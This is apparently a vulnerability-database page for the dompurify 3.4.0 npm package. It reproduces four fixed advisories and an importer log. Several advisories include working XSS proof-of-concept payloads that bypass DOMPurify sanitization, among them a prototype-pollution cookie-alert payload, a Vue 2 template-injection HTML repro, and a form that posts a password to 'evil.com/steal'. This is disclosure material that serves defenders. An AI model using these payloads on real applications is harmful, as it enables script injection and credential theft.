Staging Environment: Content and features may be unstable or change without notice.
Search for packages
Package details: pkg:npm/dompurify@3.4.0
purl pkg:npm/dompurify@3.4.0
Vulnerabilities affecting this package (0)
Vulnerability Summary Fixed by
This package is not known to be affected by vulnerabilities.
Vulnerabilities fixed by this package (4)
Vulnerability Summary Aliases
VCID-68r6-dfzr-jyhh DOMPurify: Prototype Pollution to XSS Bypass via CUSTOM_ELEMENT_HANDLING Fallback ## Summary DOMPurify versions 3.0.1 through 3.3.3 (latest) are vulnerable to a prototype pollution-based XSS bypass. When an application uses `DOMPurify.sanitize()` with the default configuration (no `CUSTOM_ELEMENT_HANDLING` option), a prior prototype pollution gadget can inject permissive `tagNameCheck` and `attributeNameCheck` regex values into `Object.prototype`, causing DOMPurify to allow arbitrary custom elements with arbitrary attributes — including event handlers — through sanitization. ## Affected Versions - **3.0.1 through 3.3.3** (current latest) — all affected - **3.0.0 and all 2.x versions** — NOT affected (used `Object.create(null)` for initialization, no `|| {}` reassignment) - The vulnerable `|| {}` reassignment was introduced in the 3.0.0→3.0.1 refactor - This is **distinct** from GHSA-cj63-jhhr-wcxv (USE_PROFILES Array.prototype pollution, fixed in 3.3.2) - This is **distinct** from CVE-2024-45801 / GHSA-mmhx-hmjr-r674 (__depth prototype pollution, fixed in 3.1.3) ## Root Cause In `purify.js` at line 590, during config parsing: ```javascript CUSTOM_ELEMENT_HANDLING = cfg.CUSTOM_ELEMENT_HANDLING || {}; ``` When no `CUSTOM_ELEMENT_HANDLING` is specified in the config (the default usage pattern), `cfg.CUSTOM_ELEMENT_HANDLING` is `undefined`, and the fallback `{}` is used. This plain object inherits from `Object.prototype`. Lines 591-598 then check `cfg.CUSTOM_ELEMENT_HANDLING` (the original config property) — which is `undefined` — so the conditional blocks that would set `tagNameCheck` and `attributeNameCheck` from the config are never entered. As a result, `CUSTOM_ELEMENT_HANDLING.tagNameCheck` and `CUSTOM_ELEMENT_HANDLING.attributeNameCheck` resolve via the prototype chain. If an attacker has polluted `Object.prototype.tagNameCheck` and `Object.prototype.attributeNameCheck` with permissive values (e.g., `/.*/`), these polluted values flow into DOMPurify's custom element validation at lines 973-977 and attribute validation, causing all custom elements and all attributes to be allowed. ## Impact - **Attack type:** XSS bypass via prototype pollution chain - **Prerequisites:** Attacker must have a prototype pollution primitive in the same execution context (e.g., vulnerable version of lodash, jQuery.extend, query-string parser, deep merge utility, or any other PP gadget) - **Config required:** Default. No special DOMPurify configuration needed. The standard `DOMPurify.sanitize(userInput)` call is affected. - **Payload:** Any HTML custom element (name containing a hyphen) with event handler attributes survives sanitization ## Proof of Concept ```javascript // Step 1: Attacker exploits a prototype pollution gadget elsewhere in the application Object.prototype.tagNameCheck = /.*/; Object.prototype.attributeNameCheck = /.*/; // Step 2: Application sanitizes user input with DEFAULT config const clean = DOMPurify.sanitize('<x-x onfocus=alert(document.cookie) tabindex=0 autofocus>'); // Step 3: "Sanitized" output still contains the event handler console.log(clean); // Output: <x-x onfocus="alert(document.cookie)" tabindex="0" autofocus=""> // Step 4: When injected into DOM, XSS executes document.body.innerHTML = clean; // alert() fires ``` ### Tested configurations that are vulnerable: | Call Pattern | Vulnerable? | |---|---| | `DOMPurify.sanitize(input)` | YES | | `DOMPurify.sanitize(input, {})` | YES | | `DOMPurify.sanitize(input, { CUSTOM_ELEMENT_HANDLING: null })` | YES | | `DOMPurify.sanitize(input, { CUSTOM_ELEMENT_HANDLING: {} })` | NO (explicit object triggers L591 path) | ## Suggested Fix Change line 590 from: ```javascript CUSTOM_ELEMENT_HANDLING = cfg.CUSTOM_ELEMENT_HANDLING || {}; ``` To: ```javascript CUSTOM_ELEMENT_HANDLING = cfg.CUSTOM_ELEMENT_HANDLING || create(null); ``` The `create(null)` function (already used elsewhere in DOMPurify, e.g., in `clone()`) creates an object with no prototype, preventing prototype chain inheritance. ### Alternative application-level mitigation: Applications can protect themselves by always providing an explicit `CUSTOM_ELEMENT_HANDLING` in their config: ```javascript DOMPurify.sanitize(input, { CUSTOM_ELEMENT_HANDLING: { tagNameCheck: null, attributeNameCheck: null } }); ``` ## Timeline - **2026-04-04:** Vulnerability discovered during automated DOMPurify fuzzing research (Fermat project) - **2026-04-04:** Confirmed in Chrome browser with DOMPurify 3.3.3 - **2026-04-04:** Verified distinct from GHSA-cj63-jhhr-wcxv and CVE-2024-45801 - **2026-04-04:** Advisory drafted, responsible disclosure initiated ## Credit https://github.com/trace37labs CVE-2026-41238
GHSA-v9jr-rg53-9pgp
VCID-8y7q-v1h7-b7hd DOMPurify has a SAFE_FOR_TEMPLATES bypass in RETURN_DOM mode ## Summary | Field | Value | |:------|:------| | **Severity** | Medium | | **Affected** | DOMPurify `main` at [`883ac15`](https://github.com/cure53/DOMPurify/tree/883ac15d47f907cb1a3b5a152fe90c4d8c10f9e6), introduced in v1.0.10 ([`7fc196db`](https://github.com/cure53/DOMPurify/commit/7fc196db0b42a0c360262dba0cc39c9c91bfe1ec)) | `SAFE_FOR_TEMPLATES` strips `{{...}}` expressions from untrusted HTML. This works in string mode but not with `RETURN_DOM` or `RETURN_DOM_FRAGMENT`, allowing XSS via template-evaluating frameworks like Vue 2. ## Technical Details DOMPurify strips template expressions in two passes: 1. **Per-node** — each text node is checked during the tree walk ([`purify.ts:1179-1191`](https://github.com/cure53/DOMPurify/blob/883ac15d47f907cb1a3b5a152fe90c4d8c10f9e6/src/purify.ts#L1179-L1191)): ```js // pass #1: runs on every text node during tree walk if (SAFE_FOR_TEMPLATES && currentNode.nodeType === NODE_TYPE.text) { content = currentNode.textContent; content = content.replace(MUSTACHE_EXPR, ' '); // {{...}} -> ' ' content = content.replace(ERB_EXPR, ' '); // <%...%> -> ' ' content = content.replace(TMPLIT_EXPR, ' '); // ${... -> ' ' currentNode.textContent = content; } ``` 2. **Final string scrub** — after serialization, the full HTML string is scrubbed again ([`purify.ts:1679-1683`](https://github.com/cure53/DOMPurify/blob/883ac15d47f907cb1a3b5a152fe90c4d8c10f9e6/src/purify.ts#L1679-L1683)). This is the safety net that catches expressions that only form after the DOM settles. The `RETURN_DOM` path returns before pass #2 ever runs ([`purify.ts:1637-1661`](https://github.com/cure53/DOMPurify/blob/883ac15d47f907cb1a3b5a152fe90c4d8c10f9e6/src/purify.ts#L1637-L1661)): ```js // purify.ts (simplified) if (RETURN_DOM) { // ... build returnNode ... return returnNode; // <-- exits here, pass #2 never runs } // pass #2: only reached by string-mode callers if (SAFE_FOR_TEMPLATES) { serializedHTML = serializedHTML.replace(MUSTACHE_EXPR, ' '); } return serializedHTML; ``` The payload `{<foo></foo>{constructor.constructor('alert(1)')()}<foo></foo>}` exploits this: 1. Parser creates: `TEXT("{")` → `<foo>` → `TEXT("{payload}")` → `<foo>` → `TEXT("}")` — no single node contains `{{`, so pass #1 misses it 2. `<foo>` is not allowed, so DOMPurify removes it but keeps surrounding text 3. The three text nodes are now adjacent — `.outerHTML` reads them as `{{payload}}`, which Vue 2 compiles and executes ## Reproduce Open the following html in any browser and `alert(1)` pops up. ```html <!DOCTYPE html> <html> <body> <script src="https://cdn.jsdelivr.net/npm/dompurify@3.3.3/dist/purify.min.js"></script> <script src="https://cdn.jsdelivr.net/npm/vue@2.7.16/dist/vue.min.js"></script> <script> var dirty = '<div id="app">{<foo></foo>{constructor.constructor("alert(1)")()}<foo></foo>}</div>'; var dom = DOMPurify.sanitize(dirty, { SAFE_FOR_TEMPLATES: true, RETURN_DOM: true }); document.body.appendChild(dom.firstChild); new Vue({ el: '#app' }); </script> </body> </html> ``` ## Impact Any application that sanitizes attacker-controlled HTML with `SAFE_FOR_TEMPLATES: true` and `RETURN_DOM: true` (or `RETURN_DOM_FRAGMENT: true`), then mounts the result into a template-evaluating framework, is vulnerable to XSS. ## Recommendations ### Fix `normalize()` merges the split text nodes, then the same regex from the string path catches the expression. Placed before the fragment logic, this fixes both `RETURN_DOM` and `RETURN_DOM_FRAGMENT`. ```diff if (RETURN_DOM) { + if (SAFE_FOR_TEMPLATES) { + body.normalize(); + let html = body.innerHTML; + arrayForEach([MUSTACHE_EXPR, ERB_EXPR, TMPLIT_EXPR], (expr: RegExp) => { + html = stringReplace(html, expr, ' '); + }); + body.innerHTML = html; + } + if (RETURN_DOM_FRAGMENT) { returnNode = createDocumentFragment.call(body.ownerDocument); ``` CVE-2026-41239
GHSA-crv5-9vww-q3g8
VCID-g99m-56hu-r3fg DOMPurify's ADD_TAGS function form bypasses FORBID_TAGS due to short-circuit evaluation GHSA-39q2-94rc-95cp
VCID-t7hs-8fpg-jqdw DOMPurify: FORBID_TAGS bypassed by function-based ADD_TAGS predicate (asymmetry with FORBID_ATTR fix) There is an inconsistency between FORBID_TAGS and FORBID_ATTR handling when function-based ADD_TAGS is used. Commit [c361baa](https://github.com/cure53/DOMPurify/commit/c361baa18dbdcb3344a41110f4c48ad85bf48f80) added an early exit for FORBID_ATTR at line 1214: /* FORBID_ATTR must always win, even if ADD_ATTR predicate would allow it */ if (FORBID_ATTR[lcName]) { return false; } The same fix was not applied to FORBID_TAGS. At line 1118-1123, when EXTRA_ELEMENT_HANDLING.tagCheck returns true, the short-circuit evaluation skips the FORBID_TAGS check entirely: if ( !( EXTRA_ELEMENT_HANDLING.tagCheck instanceof Function && EXTRA_ELEMENT_HANDLING.tagCheck(tagName) // true -> short-circuits ) && (!ALLOWED_TAGS[tagName] || FORBID_TAGS[tagName]) // never evaluated ) { This allows forbidden elements to survive sanitization with their attributes intact. PoC (tested against current HEAD in Node.js + jsdom): const DOMPurify = createDOMPurify(window); DOMPurify.sanitize( '<iframe src="https://evil.com"></iframe>', { ADD_TAGS: function(tag) { return true; }, FORBID_TAGS: ['iframe'] } ); // Returns: '<iframe src="https://evil.com"></iframe>' // Expected: '' (iframe forbidden) DOMPurify.sanitize( '<form action="https://evil.com/steal"><input name=password></form>', { ADD_TAGS: function(tag) { return true; }, FORBID_TAGS: ['form'] } ); // Returns: '<form action="https://evil.com/steal"><input name="password"></form>' // Expected: '<input name="password">' (form forbidden) Confirmed affected: iframe, object, embed, form. The src/action/data attributes survive because attribute sanitization runs separately and allows these URLs. Compare with FORBID_ATTR which correctly wins: DOMPurify.sanitize( '<p onclick="alert(1)">hello</p>', { ADD_ATTR: function(attr) { return true; }, FORBID_ATTR: ['onclick'] } ); // Returns: '<p>hello</p>' (onclick correctly removed) Suggested fix: add FORBID_TAGS early exit before the tagCheck evaluation, mirroring line 1214: /* FORBID_TAGS must always win, even if ADD_TAGS predicate would allow it */ if (FORBID_TAGS[tagName]) { // proceed to removal logic } This requires function-based ADD_TAGS in the config, which is uncommon. But the asymmetry with the FORBID_ATTR fix is clear, and the impact includes iframe and form injection with external URLs. Reporter: Koda Reef CVE-2026-41240
GHSA-h7mw-gpvr-xq4m

Date Actor Action Vulnerability Source VulnerableCode Version
2026-04-24T04:53:27.699842+00:00 GHSA Importer Fixing VCID-t7hs-8fpg-jqdw https://github.com/advisories/GHSA-h7mw-gpvr-xq4m 38.4.0
2026-04-24T04:53:27.668467+00:00 GHSA Importer Fixing VCID-8y7q-v1h7-b7hd https://github.com/advisories/GHSA-crv5-9vww-q3g8 38.4.0
2026-04-24T04:53:27.626530+00:00 GHSA Importer Fixing VCID-68r6-dfzr-jyhh https://github.com/advisories/GHSA-v9jr-rg53-9pgp 38.4.0
2026-04-23T09:15:58.878591+00:00 GithubOSV Importer Fixing VCID-68r6-dfzr-jyhh https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/04/GHSA-v9jr-rg53-9pgp/GHSA-v9jr-rg53-9pgp.json 38.4.0
2026-04-23T09:15:55.879188+00:00 GithubOSV Importer Fixing VCID-t7hs-8fpg-jqdw https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/04/GHSA-h7mw-gpvr-xq4m/GHSA-h7mw-gpvr-xq4m.json 38.4.0
2026-04-23T09:15:55.567066+00:00 GithubOSV Importer Fixing VCID-8y7q-v1h7-b7hd https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/04/GHSA-crv5-9vww-q3g8/GHSA-crv5-9vww-q3g8.json 38.4.0
2026-04-18T04:27:44.257956+00:00 GithubOSV Importer Fixing VCID-g99m-56hu-r3fg https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/04/GHSA-39q2-94rc-95cp/GHSA-39q2-94rc-95cp.json 38.4.0
2026-04-16T07:46:06.107834+00:00 GHSA Importer Fixing VCID-g99m-56hu-r3fg https://github.com/advisories/GHSA-39q2-94rc-95cp 38.4.0